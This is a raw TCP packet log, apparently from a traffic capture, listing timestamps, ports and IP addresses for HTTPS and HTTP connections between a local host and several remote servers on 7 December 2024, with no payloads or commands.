Dec 7, 2024 00:15:48.619087934 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.674242973 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.674269915 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.674345016 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.674370050 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.674412966 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.686419964 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.686446905 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.686508894 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.686517000 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.686563015 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.695117950 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.695133924 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.695307970 CET	49834	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.695333004 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.695377111 CET	49834	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.696172953 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.696198940 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.696238041 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.696244955 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.696274996 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.696293116 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.704735994 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.704751968 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.704828978 CET	49834	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.704834938 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.704876900 CET	49834	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.707129002 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.707154036 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.707216024 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.707242966 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.707258940 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.707281113 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.715034008 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.715050936 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.715107918 CET	49834	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.715115070 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.715590954 CET	49834	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.717273951 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.717300892 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.717336893 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.717350006 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.717375994 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.717394114 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.725287914 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.725313902 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.725413084 CET	49834	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.725419998 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.725632906 CET	49834	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.728121042 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.728144884 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.728223085 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.728231907 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.729487896 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.731967926 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.732310057 CET	443	49835	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:48.732378006 CET	443	49835	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:48.732434988 CET	49835	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:48.732820034 CET	49835	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:48.732840061 CET	443	49835	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:48.732852936 CET	49835	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:48.732858896 CET	443	49835	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:48.734797001 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.734817028 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.734870911 CET	49834	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.734875917 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.734911919 CET	49834	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.734935999 CET	49834	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.736027002 CET	49842	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:48.736051083 CET	443	49842	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:48.736119032 CET	49842	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:48.736323118 CET	49842	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:48.736332893 CET	443	49842	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:48.739008904 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.739046097 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.739090919 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.739103079 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.739132881 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.739156008 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.741297007 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.741322994 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.741381884 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.741394043 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.741439104 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.741439104 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.745074987 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.745089054 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.745191097 CET	49834	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.745198011 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.745245934 CET	49834	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.748697996 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.748716116 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.748913050 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.748935938 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.749058962 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.749075890 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.749140024 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.749145031 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.749162912 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.749422073 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.754053116 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.754066944 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.754165888 CET	49834	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.754172087 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.754211903 CET	49834	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.755824089 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.755844116 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.755918980 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.755927086 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.755964041 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.755964041 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.763461113 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.763478994 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.763586044 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.763605118 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.763650894 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.771085978 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.771097898 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.771240950 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.771255970 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.771297932 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.778208017 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.778222084 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.778295040 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.778310061 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.778579950 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.785903931 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.785918951 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.786000967 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.786012888 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.786089897 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.799062967 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.799082041 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.799190044 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.799206018 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.799298048 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.852108002 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.865804911 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.865830898 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.865888119 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.865906000 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.865931988 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.865952969 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.873955011 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.873981953 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.874025106 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.874032974 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.874069929 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.874088049 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.877965927 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.877989054 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.878041029 CET	49834	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.878048897 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.878082991 CET	49834	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.878092051 CET	49834	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.882230997 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.882250071 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.882322073 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.882347107 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.882440090 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.886107922 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.886126995 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.886188030 CET	49834	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.886194944 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.886229992 CET	49834	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.886250019 CET	49834	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.889302969 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.889321089 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.889400005 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.889410019 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.889534950 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.893990993 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.894006968 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.894071102 CET	49834	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.894076109 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.894112110 CET	49834	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.896883011 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.896907091 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.896975994 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.896984100 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.897012949 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.897033930 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.902185917 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.902203083 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.902276039 CET	49834	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.902281046 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.902484894 CET	49834	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.905061960 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.905085087 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.905164957 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.905173063 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.905278921 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.909416914 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.909431934 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.909534931 CET	49834	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.909539938 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.909642935 CET	49834	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.913113117 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.913130045 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.913228989 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.913237095 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.913314104 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.918138981 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.918155909 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.918236971 CET	49834	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.918242931 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.918869019 CET	49834	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.921283007 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.921299934 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.921400070 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.921410084 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.921479940 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.925373077 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.925389051 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.925477028 CET	49834	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.925482988 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.925640106 CET	49834	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.933531046 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.933547020 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.933695078 CET	49834	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.933700085 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.934039116 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.934055090 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.934139013 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.934158087 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.934170961 CET	49834	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.934216022 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.941538095 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.941584110 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.941729069 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.941744089 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.942290068 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.946208954 CET	443	49836	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:48.946264982 CET	443	49836	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:48.946495056 CET	49836	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:48.946595907 CET	49836	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:48.946609974 CET	443	49836	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:48.946659088 CET	49836	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:48.946665049 CET	443	49836	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:48.946715117 CET	443	49837	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:48.946782112 CET	443	49837	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:48.946839094 CET	49837	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:48.947067022 CET	49837	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:48.947086096 CET	443	49837	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:48.947098970 CET	49837	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:48.947103977 CET	443	49837	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:48.948187113 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.948203087 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.948304892 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.948316097 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.948626041 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.949608088 CET	49844	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:48.949609995 CET	49843	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:48.949630022 CET	443	49844	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:48.949649096 CET	443	49843	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:48.949711084 CET	49843	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:48.949712038 CET	49844	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:48.949913025 CET	49844	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:48.949924946 CET	443	49844	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:48.949959993 CET	49843	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:48.949973106 CET	443	49843	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:48.956007004 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.956022024 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.956165075 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.956182957 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.956360102 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.963558912 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.963587046 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.963671923 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.963685989 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.963892937 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.970788002 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.970803976 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.970916986 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.970928907 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.971220016 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.978338003 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.978354931 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.978454113 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.978463888 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.979191065 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.987710953 CET	443	49838	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:48.987776995 CET	443	49838	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:48.988111973 CET	49838	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:48.988377094 CET	49838	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:48.988377094 CET	49838	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:48.988395929 CET	443	49838	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:48.988404989 CET	443	49838	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:48.991102934 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.991117954 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.991177082 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.991185904 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.991542101 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.991542101 CET	49845	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:48.991573095 CET	443	49845	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:48.992655993 CET	49845	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:48.992938995 CET	49845	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:48.992949009 CET	443	49845	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:48.998809099 CET	49846	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:48.998835087 CET	443	49846	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:48.999116898 CET	49846	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:48.999905109 CET	49846	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:48.999917984 CET	443	49846	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:49.057182074 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:49.057218075 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:49.057336092 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:49.057353973 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:49.057477951 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:49.064923048 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:49.064949989 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:49.065038919 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:49.065046072 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:49.065459013 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:49.070017099 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:49.070043087 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:49.070127010 CET	49834	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:49.070149899 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:49.072743893 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:49.072772026 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:49.072841883 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:49.072849989 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:49.072884083 CET	49834	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:49.072904110 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:49.078041077 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:49.078067064 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:49.078109026 CET	49834	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:49.078114033 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:49.078160048 CET	49834	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:49.079536915 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:49.079567909 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:49.079649925 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:49.079657078 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:49.079766035 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:49.085154057 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:49.085170031 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:49.085267067 CET	49834	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:49.085274935 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:49.085316896 CET	49834	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:49.087858915 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:49.087886095 CET	443	49833	150.171.27.10	192.168.2.6
